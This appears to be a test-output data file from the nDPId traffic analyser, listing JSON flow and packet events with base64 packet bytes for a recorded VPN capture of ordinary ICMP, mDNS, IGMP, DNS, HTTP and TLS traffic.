+00439{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":924910,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"LH6BsEqhNDY7z3UoCABFAAA4dQYAAEABY0UKAADjS0tMTAMDBdoAAAAARQAAfgAAQAA2EaH1S0tMTAoAAOMANfaDAGoAAA=="} +00478{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":95,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1569687246924,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":96,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1569687246981,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00554{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":981850,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"AQBeAAD7GIEORo7ICABFAACMDQUAAP8RwosKAADV4AAA+xTpFOkAeGDHAAAAAAADAAAAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMgAEIX2hvbWVraXTAHAAMgAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMgAEAACkFoAAAEZQAEgAEAA4AmjqBDkaOyBiBDkaOyA=="} +00600{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":96,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1569687246981,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_companion-link._tcp.local"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::408:3e45:3abc:1552","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00582{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":982027,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AHgR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QB4u70AAAAAAAMAAAAAAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAyAAQhfaG9tZWtpdMAcAAyAAQxfc2xlZXAtcHJveHkEX3VkcMAhAAyAAQAAKQWgAAARlAASAAQADgCaOoEORo7IGIEORo7I"} +00611{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":97,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::408:3e45:3abc:1552","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_companion-link._tcp.local"}} +00435{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":98,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.2","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00406{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":982031,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAACGIEORo7ICABGAAAgLwcAAAECCvoKAADV4AAAApQEAAAXAAgE4AAA+w=="} +00467{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":98,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.2","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00437{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":99,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00406{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687246,"pkt_ts_usec":982614,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAD7GIEORo7ICABGAAAg0EsAAAECaLwKAADV4AAA+5QEAAAWAAkE4AAA+w=="} +00469{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":99,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":102,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1569687247192,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.213","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00715{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":192802,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"GIEORo7INDY7z3UoCABFAAEE6tAAAP8RumAKAADjCgAA1RTpFOkA8ADKAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABQRTFAtUktFUlVSLU9TWCAoOSnADMAyACGAAQAAAHgADQAAAADbaQRuRFBJwCHAMgAQgAEAABGUACIWcnBCQT0zNzoyRTo0Nzo2RDoxODo1NApycFZyPTE1Mi4xEUxQLVJLRVJVUi1PU1ggKDkpDF9kZXZpY2UtaW5mb8AcABAAAQAAEZQAIBRtb2RlbD1NYWNCb29rUHJvMTEsMQpvc3h2ZXJzPTE3wFgAAYABAAAAeAAECgAA4w=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":102,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1569687247192,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.213","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_companion-link._tcp.local"}} +00523{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":306185,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"LH6BsEqhNDY7z3UoCABFAABzAABAAEAGB9AKAADjNCXzrd5SAbt7aDM3a\/IufIAYEAAjBQAAAQEIChwNgekCYGB5FwMDADoAAAAAAAAABP6P4Nbq7ON\/6\/AGxu6nGVDbyH\/VD4ZdKbxLWPLfwYcNeZogzNp7TOtgIRax\/b1ZBFBO"} +00519{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":306306,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"LH6BsEqhNDY7z3UoCABFAABzAABAAEAGB9AKAADjNCXzrd5TAbsf\/fAfcO3V5YAYEADtVwAAAQEIChwNgekAjYToFwMDADoAAAAAAAAABVQHVjyN4wBxs8m+2i54okht8UdFndDP4vwtKiUe9j1LvsBOOnvld8r5j6XDOjeRQG2g"} +00432{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":340869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0VN9AACoGyS80JfOtCgAA4wG73lJr8i58e2gzdoAQAAkYLwAAAQEICgJgYh4cDYHp"} +00520{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":341911,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"NDY7z3UoLH6BsEqhCABFAABzVOBAACoGyO80JfOtCgAA4wG73lJr8i58e2gzdoAYAAkk1QAAAQEICgJgYh8cDYHpFwMDADr34AORZ\/msv0j6WvLdm0r85swBaOE53ONB+mNFF8k0Tix035Gilv9+v4KT\/+rpr9rvyLTGpxY4i3mx"} +00434{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":341965,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGCA8KAADjNCXzrd5SAbt7aDN2a\/Iuu4AQD\/4H1wAAAQEIChwNggwCYGIf"} +00433{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":347882,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0y8NAACsGUUs0JfOtCgAA4wG73lNw7dXlH\/3wXoAQAAnnrAAAAQEICgCNhpAcDYHp"} +00520{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":347888,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"NDY7z3UoLH6BsEqhCABFAABzy8RAACsGUQs0JfOtCgAA4wG73lNw7dXlH\/3wXoAYAAmExgAAAQEICgCNhpAcDYHpFwMDADoscoyH7e3mD0YV5j76bq2IiuIC\/UPtlNWvhrdB63Msjxv0jshQMl60ISItlU90x5KX0HExOJgiVTIM"} +00434{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":347958,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGCA8KAADjNCXzrd5TAbsf\/fBecO3WJIAQD\/7XUAAAAQEIChwNghEAjYaQ"} +00459{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":111,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1569687247596,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::408:3e45:3abc:1552","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":596034,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWGIEORo7Iht1gAAAAACQAAf6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAAWOgABAAUCAACPANy0AAAAAQQAAAD\/AgAAAAAAAAAAAAAAAAD7"} +00493{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":111,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1569687247596,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::408:3e45:3abc:1552","dst_ip":"ff02::16","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00585{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687247,"pkt_ts_usec":596449,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00593{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687248,"pkt_ts_usec":5698,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"AQBeAAD7GIEORo7ICABFAACszwUAAP8RAGsKAADV4AAA+xTpFOkAmDTQAAAAAAADAAEAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEIX2hvbWVraXTAHAAMAAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMAAHADAAMAAEAAA4QABQRTFAtUktFUlVSLU9TWCAoOSnADAAAKQWgAAARlAASAAQADgCaOoEORo7IGIEORo7I"} +00625{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687248,"pkt_ts_usec":6173,"pkt_caplen":206,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":206,"pkt_l4_len":152,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AJgR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QCYj8YAAAAAAAMAAQAAAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAwAAQhfaG9tZWtpdMAcAAwAAQxfc2xlZXAtcHJveHkEX3VkcMAhAAwAAcAMAAwAAQAADhAAFBFMUC1SS0VSVVItT1NYICg5KcAMAAApBaAAABGUABIABAAOAJo6gQ5GjsgYgQ5Gjsg="} +00467{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687248,"pkt_ts_usec":620045,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWGIEORo7Iht1gAAAAACQAAf6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAAWOgABAAUCAACPANy0AAAAAQQAAAD\/AgAAAAAAAAAAAAAAAAD7"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":116,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1569687249612,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"184.25.56.77","src_port":56917,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00416{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687249,"pkt_ts_usec":612686,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LH6BsEqhNDY7z3UoCABFAAAoT2EAAEAGMCYKAADjuBk4Td5VAFBor5ytCT1EPVAQEAlzBQAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":117,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1569687249612,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"184.25.56.77","src_port":56884,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687249,"pkt_ts_usec":612686,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LH6BsEqhNDY7z3UoCABFAAAogHcAAEAG\/w8KAADjuBk4Td40AFBjyKiAGk9l7lAQEAA5gAAA"} +00432{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687249,"pkt_ts_usec":631596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0NJhAADcGE+O4GThNCgAA4wBQ3jQaT2XuY8iogYAQAPO0OwAAAQEICuMU+IIcDWOU"} +00432{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687249,"pkt_ts_usec":631602,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0uJpAADgGjuC4GThNCgAA4wBQ3lUJPUQ9aK+croAQAOvt6gAAAQEICuMU+IIcDWN7"} +00585{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687250,"pkt_ts_usec":667991,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00439{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00437{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1569687246982,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.2","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00438{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1569687241657,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00434{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1569687241452,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1569687247192,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.213","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1569687246924,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1569687242476,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"239.255.255.250","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00439{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1569687242271,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"239.255.3.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":121,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1569687251177,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":54851,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 